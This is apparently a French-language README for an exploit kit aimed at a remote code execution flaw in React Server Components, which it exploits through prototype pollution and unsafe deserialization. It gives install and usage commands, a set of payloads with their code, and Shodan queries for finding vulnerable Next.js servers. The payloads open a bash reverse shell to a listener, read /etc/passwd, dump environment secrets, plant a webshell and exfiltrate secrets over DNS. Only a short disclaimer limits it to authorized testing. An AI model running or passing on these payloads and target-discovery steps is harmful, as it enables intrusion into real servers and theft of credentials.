
Boîte à outils d'exploitation RCE avancée pour les vulnérabilités des composants serveur React. Dispose de plusieurs charges utiles pré-construites, d'une intégration Shodan pour la découverte de cibles et d'un balayage de masse pour les tests d'intrusion autorisés.
Kit d'exploitation avancé pour les vulnérabilités d'exécution de code à distance (RCE) des React Server Components
Pour les tests d'intrusion autorisés et la recherche en sécurité uniquement
Fonctionnalités • Installation • Utilisation • Intégration Shodan • Exemples • Avertissement
Ce kit exploite une vulnérabilité critique d'exécution de code à distance (RCE) dans les implémentations des React Server Components (RSC), ciblant spécifiquement :
La vulnérabilité tire parti de la pollution de prototype et d'une désérialisation non sécurisée dans le mécanisme de gestion des données de RSC pour parvenir à une exécution de code arbitraire sur le serveur.
Les React Server Components utilisent un format de sérialisation personnalisé pour transférer les données entre le client et le serveur. La vulnérabilité réside dans la façon dont ces frameworks désérialisent et traitent des payloads spécialement conçus.
Chaîne d'attaque :
$X:constructor:constructor pour accéder au constructeur Function_prefixAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
| Payload | Description | Cas d'utilisation |
|---|---|---|
console | PoC de base (console.log) | Vérifier la vulnérabilité |
reverseShell | Reverse shell Bash | Accès initial |
readFile | Lire /etc/passwd | Accès au système de fichiers |
envDump | Vider les variables d'environnement | Extraction d'identifiants |
execCommand | Exécuter des commandes système | Exécution de commandes arbitraires |
webshell | Déployer un webshell Express | Accès persistant |
exfilPackage | Exfiltrer package.json | Analyse des dépendances |
dnsExfil | Exfiltration DNS (OOB) | Exploitation aveugle |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Option | Description | Requis |
|---|---|---|
--target <url> | URL cible | ✅ |
--framework <name> | Framework : next ou waku | ❌ (défaut : next) |
--payload <name> | Nom du payload (voir ci-dessous) | ✅* |
--custom <code> | Code JavaScript personnalisé | ✅* |
--lhost <ip> | Votre IP (pour le reverse shell) | ❌ |
--lport <port> | Votre port (pour le reverse shell) | ❌ |
--command <cmd> | Commande à exécuter | ❌ |
--endpoint <path> | Endpoint RSC personnalisé (Waku) | ❌ |
--action-id <id> | ID next-action personnalisé | ❌ |
--list | Lister les payloads disponibles | ❌ |
--verbose | Sortie détaillée (verbose) | ❌ |
--help | Afficher l'aide | ❌ |
*--payload ou --custom est requis
Voir tous les payloads :
node rsc-rce-exploit.js --list
Sortie :
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Exécuter n'importe quel code JavaScript :
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"